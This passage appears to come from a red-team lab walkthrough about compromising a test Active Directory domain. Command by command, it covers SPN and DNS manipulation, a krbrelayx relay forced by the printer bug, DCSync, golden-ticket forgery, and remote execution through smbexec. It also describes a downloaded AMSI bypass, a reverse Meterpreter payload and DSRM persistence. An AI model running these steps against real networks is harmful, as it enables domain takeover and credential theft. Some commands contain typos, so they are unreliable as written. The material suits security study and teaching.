Do you recall when I mentioned the double-hop issue with evil-winrm? This can be solved by implementing delegation, in which user credentials are passed through to the KDC from the PSSession created by the evil-winrm. If you are new to active directory, do not get inspired by this. There are more secure ways than Unconstrained, like Constrained or Role-Based Constrained Delegation (RBCD) and Just Enough Administration (JEA).
The NTLM hash obtained earlier, for cola-reports$
machine account using Mimikatz. Since some tools require both the LM and NTLM hashes, a blank LM hash can be used in combination with the NTLM hash to satisfy the format requirements.

Using the credentials of cola-reports
, a ServicePrincipalName (SPN) needs to be added to the colareports
account. This SPN should point to the attacker's machine (192.168.2.1
) to enable inbound connections from the Domain Controller. The addspn.py
script from the krbrelayx toolkit was used to perform this action.
python3 addspn.py -u cola\\cola-reports\$ -p <EMPTY_LM_HASH>:<NTLM_OF_COLA_REPORTS> -s HOST/srv11.cola.local 192.168.2.2 --additional

cola\cols-reports$
object set to HOST/srv11.cola.local
Get-ADComputer -Identity cola-reports -Property msDS-AdditionalDnsHostName | msDS-AdditionalDnsHostName

The next step is to modify the DNS records in the domain so that the Domain Controller resolves the alternate DNS name to the attacker's IP. In a Windows domain, any authenticated user has the ability to register or update DNS records. This can be accomplished using dnstool.py
from the krbrelayx toolkit.
python3 dnstool.py -u cola\\cola-reports\$ -p <BLANK_LM_HASH>:<NTLM_HASH_OF_COLA_REPORTS> -r srv11.cola.local -d 192.168.2.1 --action add 192.168.2.2

Now I've started the krbrelayx.py
with the AES key of cola-reports extracted from mimikatz, listening for requests of SMB, LDAP, LDAPS and HTTP services.

python3 krbrelayx.py -aesKey <COLA_REPORTS_AES>

Finally, the printer bug was triggered to force the Domain Controller to authenticate to cola-reports
using the previously configured SPN. This caused the Domain Controller to initiate an SMB connection, passing the credentials of the COLA-DC$
machine account.
python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:<COLA_REPORTS_NTLM_HASH> cola.local/cola-reports\[email protected] srv11.cola.local

srv11.cola.local
using cola-dc

[email protected]
With the help of this ticket, I can perform DCSync attack and dump the secrets directly from the DC. But for that, I had to modify /etc/hosts
and map the IP address of DC to a domain name, I am using cola-dc.cola.local
.
cat <<EOF > /etc/hosts
192.168.2.2 cola-dc.cola.local
192.168.2.2 cola-dc
EOF
The secretsdump.py
script from the Impacket suite supports the use of Kerberos tickets via the KRB5CCNAME
environment variable. This variable can be set to the ticket captured for the COLA-DC$
account using krbrelayx, allowing secretsdump.py
to perform operations authenticated as the Domain Controller.
cp /root/Desktop/tools/impacket-master/examples/secretsdump.py
python secretsdump.py -k cola-dc.cola.local -just-dc

A golden ticket for the cola.local\Administrator
account was forged using the AES256 key of krbtgt account and ticketer.py
from the Impacket suite. The ticket was saved to a file named Administrator.ccache
.
By setting the KRB5CCNAME
environment variable to this file, it becomes possible to execute commands on the cola-dc
server with Domain Administrator privileges. The -k
and --no-pass
flags are used with tools like smbexec.py
to instruct them to use Kerberos credentials from the environment instead of prompting for a password.
python ticketer.py -aesKey <KRBTGT_AES256_HASH> -domain-sid S-1-5-21-2764521275-985837150-4215426359 -domain cola.local Administrator
export KRB5CCANAME=Administrator.ccache
python smbexec.py cola.local/Administrator@cola-dc -k -no-pass

cola.local\Administrator
account.
That's sweet! But I wanted a Meterpreter session for validation and personal satisfaction. So, I downloaded and executed the amsibypass script along with a connect-back payload within the smbexec
session on cola-dc
.

To my surprise, I received a reverse Meterpreter session from the Domain Controller on my attacker VM.

Since the Meterpreter session is running as NT AUTHORITY\SYSTEM
(a local system account), it's possible to extract the hash of the local Administrator account. If this account has been promoted to a Directory Services Restore Mode (DSRM) account, it provides a powerful persistence mechanism. Even if access to the domain is lost, the DSRM account can be used to authenticate locally and modify the Active Directory database offline—including resetting the Domain Administrator password or altering directory configurations.

Conclusion
Finally, red teaming practises, particularly those that simulate scenarios without internal access, are critical for simulating real-world threats where adversaries operate outside the organisation's network. This necessitates testers adopting strategies similar to those of actual external threats, thereby increasing the authenticity and effectiveness of security assessments. The availability of a diverse range of tools that implement Active Directory (AD) protocols, with user-friendly interfaces and automation capabilities, further empowers testers in navigating and probing AD environments.
Additionally, the increasing prevalence of AD in organisational infrastructures, reflected in its inclusion in security certifications like Offsec OSCP, underscores the importance of acquiring proficiency in AD for contemporary security professionals. Embracing these facets collectively enhances the skill set of security practitioners, preparing them to tackle evolving challenges in the dynamic landscape of cyber security.
Resources































